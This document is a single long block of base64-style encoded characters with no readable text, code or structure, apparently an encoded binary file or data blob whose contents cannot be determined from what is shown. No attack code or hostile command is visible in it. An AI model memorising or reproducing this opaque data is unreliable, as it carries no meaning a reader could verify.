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pure= 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yn13Ffoe4Nnms1OTn5lBjjD+QWAAAAoCghhNbx48c/dP311/9DHg1EEy4fc+kYAAAAULSqqgaej9QeCrXbbaEQAAAAULqBP4Gs9lCoqqqvyyUAAABAkWKM5+ZyYGoNhebn5yfSP/prcwsAAABQpBDC11x77bWn53Ygag2FNm3aNPAUDAAAAKCJjh07NtCcpNZQKMb43FwCAAAAFC2E8LRcDkTd9xS6MK8AAAAARet0OttyORC1hkIhhMfnEgAAAKB0Z+d1IOreKQQAAABAzxndh3Lluu+EQgAAAAANMTk5eVYu+04oBAAAANAQ7Xb7CbnsO6EQAAAAQHOcnte+EwoBAAAANERVVUIhAAAAgNLEGIVCAAAAAAXalNe+EwoBAAAANESMcXMu+04oBAAAANAco79TKMYYcgkAAABAEkJw+RgAAABAgTbmte+EQgAAAADNsT6vfScUAgAAAGiOdXntO6EQAAAAQIMcOnRoPJd9JRQCAAAAaJDV1dWBXEImFAIAAABokNXV1bFc9lVtodBrX/taj6QHAAAA+Arr168fSGZipxAAAABAgxw5cmQgeY1QCAAAAKBB1q1bZ6cQAAAAQGlijHYKAQAAAJRm3bp1MZd9JRQCAAAAaJDx8fG1XPaVUAgAAACgQVZXV9u57KvaQqFnPvOZHkkPAAAA8BU2bNhgpxAAAABAab7whS90ctlXQiEAAACABtm4ceP6XPaVUAgAAACgQTYluewroRAAAABAgywvL2/OZV8JhQAAAACaxU4hAAAAgAJtzGtfCYUAAAAAGqTdbrvRNAAAAECB7BQCAAAAKE1VVRty2VdCIQAAAIAGiTEKhQAAAABKE0JwTyEAAACA0oz8TqFPfOITIZcAAAAAZCGE8Vz2lZ1CAAAAAA0SYxzLZV8JhQAAAACaRSgEAAAAUJoQQiuXfSUUAgAAACiQUAgAAACgQTqdzkAezlVbKHTmmWd6+hgAAABATewUAgAAAGiQqqrauewroRAAAABAgYRCAAAAAAUSCgEAAAA0SExy2VdCIQAAAIACCYUAAAAACiQUAgAAACiQUAgAAACgQEIhAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAQiEAAACAAtUWCp1++ukhlwAAAAAMmJ1CAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABSotlDo9ttv90h6AAAAgJrYKQQAAABQIKEQAAAAQIGEQgAAAAANEkKIuewroRAAAABAgYRCAAAAAAUSCgEAAAAUqLZQ6O677/ZIegAAAICa2CkEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQoNpCoW3btuUKAAAAgEGzUwgAAACgQWKSy74SCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABSotlDo7rvvDrkEAAAAYMDsFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAACiQUAgAAACgQLWFQvfee69H0gMAAADUxE4hAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAQiEAAACAAgmFAAAAAApUWyh05pln5goAAACAQbNTCAAAAKBBQggxl30lFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAAChQbaHQvffeG3IJAAAAwIDZKQQAAABQIKEQAAAAQIGEQgAAAAAFEgoBAAAAFEgoBAAAANAgMcllXwmFAAAAAApUWyi0ceNGj6QHAAAAqImdQgAAAAAFEgoBAAAAFEgoBAAAAFAgoRAAAABAgYRCAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQoNpCoWPHjoVcAgAAADBgdgoBAAAAFEgoBAAAAFAgoRAAAABAgYRCAAAAAAUSCgEAAAA0SExy2VdCIQAAAIACCYUAAAAAClRbKLRhw4aQSwAAAAAGzE4hAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAtYVCx48fd6NpAAAAgJrYKQQAAABQIKEQAAAAQIGEQgAAAAAFEgoBAAAANEgIIeayr4RCAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQIKEQAAAAQINUVRVz2VdCIQAAAIAC1RYKrV+/PuQSAAAAgAGzUwgAAACgQEIhAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAQiEAAACAAgmFAAAAAApUWyh04sSJkEsAAAAABsxOIQAAAIACCYUAAAAAGqTdbueqv4RCAAAAAAUSCgEAAAAUSCgEAAAAUKDaQqHTTjstVwAAAAAMmp1CAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABSotlDo+PHjIZcAAAAAZFVVxVz2lZ1CAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQoNpCoeXl5ZBLAAAAAAbMTiEAAACAAgmFAAAAABokJrnsK6EQAAAAQIGEQgAAAAAFqi0UmpyczBUAAAAAg2anEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQIKEQAAAAQIGEQgAAAAAFEgoBAAAAFKi2UGh5eTnkEgAAAIABs1MIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAAChQbaHQ+Pi4G00DAAAA1MROIQAAAIACCYUAAAAACiQUAgAAACiQUAgAAACgQUIIMZd9JRQCAAAAKJBQCAAAAKBAQiEAAACAAtUWCq2srIRcAgAAADBgdgoBAAAAFEgoBAAAAFAgoRAAAABAgYRCAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAADRKTXPaVUAgAAACgQEIhAAAAgAIJhQAAAAAKJBQCAAAAKFBtodD4+HjIJQAAAAADZqcQAAAAQIGEQgAAAAAFEgoBAAAAFEgoBAAAAFAgoRAAAABAg4QQYi77SigEAAAAUKDaQqGVlRWPpAcAAACoiZ1CAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECBhEIAAAAABRIKAQAAABRIKAQAAABQIKEQAAAAQIGEQgAAAAAFEgoBAAAAFEgoBAAAAFAgoRAAAABAgYRCAAAAAAWqLRQaGxsLuQQAAABgwOwUAgAAACiQUAgAAACgQEIhAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAtYVCq6urHkkPAAAA8BViksu+slMIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAACiQUAgAAACgQEIhAAAAgALVFgpNTEzkCgAAAIBBs1MIAAAAoEBCIQAAAIAGCSHEXPaVUAgAAACgQEIhAAAAgAIJhQAAAAAKJBQCAAAAKFBtodDKykrIJQAAAAADZqcQAAAAQIGEQgAAAAAFEgoBAAAAFEgoBAAAAFAgoRAAAABAg3Q6nVz1V22h0OrqqqePAQAAANTETiEAAACAAgmFAAAAAAokFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAAClRbKDQ2NuaR9AAAAAA1sVMIAAAAoEBCIQAAAIACCYUAAAAAGiSEEHPZV0IhAAAAgAIJhQAAAAAKJBQCAAAAKJBQCAAAAKBAQiEAAACAAgmFAAAAAAokFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAAGqSqqpjLvqotFFpbWwu5BAAAAGDA7BQCAAAAKJBQCAAAAKBAQiEAAACAAgmFAAAAAAokFAIAAAAokFAIAAAAoEC1hUKtVssj6QEAAABqYqcQAAAAQIGEQgAAAAAFEgoBAAAANEi73c5VfwmFAAAAAAokFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAACiQUAgAAACgQEIhAAAAgAIJhQAAAAAKVFsoNDY2FnIJAAAAwIDZKQQAAADQICGEmMu+EgoBAAAAFEgoBAAAAFAgoRAAAABAgYRCAAAAAAUSCgEAAAAUqLZQaG1tzSPpAQAAAGpipxAAAABAgYRCAAAAAAUSCgEAAAAUSCgEAAAAUCChEAAAAECDVFUVc9lXQiEAAACAAgmFAAAAAAokFAIAAAAokFAIAAAAoEBCIQAAAIACCYUAAAAACiQUAgAAAChQbaFQq9UKuQQAAABgwOwUAgAAACiQUAgAAACgQEIhAAAAgAZpt9udXPaVUAgAAACgQVqt1m257CuhEAAAAECDtNvtz+Wyr4RCAAAAAM0Rzz777M/nuq+EQgAAAADNcf/27dtXct1XQiEAAACA5jiW174TCgEAAAA0x/157bvaQqEQwkAerwYAAAAwRO7Na9/VFgotLy/fk0sAAAAAer6U176rLRSam5vrJl9rvQ4AAACAGOORXPZdnZePxXTcnlsAAACA4lVVdXcu+67WG03HGG/OJQAAAACPeUwZoVAI4XAuAQAAAIpXVdVduey7WkOh9A+1UwgAAADgn9yS176rNRRqt9tCIQAAAICe+6ampsq4fGx2dvaOtAzsUWsAAAAADTbQzTO1hkLZ3+YVAAAAoFiDvs1O7aFQCEEoBAAAABSv0+l8LpcDUXsoFGP8VC4BAAAAihVC+LtcDkTtoVCr1er+g2OvAwAAAChPjHH56NGjA3vyWFftodDU1NTxtHy+1wEAAAAU6bO7d+/u5HogmnCjafcVAgAAAEo38GykEaFQ8tG8AgAAABQnhPA3uRyYRoRC7Xb7I7kEAAAAKE6n0/lkLgemEaHQrl27vpSWgT52DQAAAKAJQgi35WxkoJpy+Vj3DfhwLgEAAACKEWP8RC4HSigEAAAAUKMYYy33Wm5MKDQ+Pv7J9Cas5hYAAACgCJ1Op+xQaOfOnctVVQ38pkoAAAAANTp85ZVX3pPrgWpMKNQVQvhALgEAAABKUNvtdBoVCsUY359LAAAAgJFXVdUHczlwjQ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midnight= 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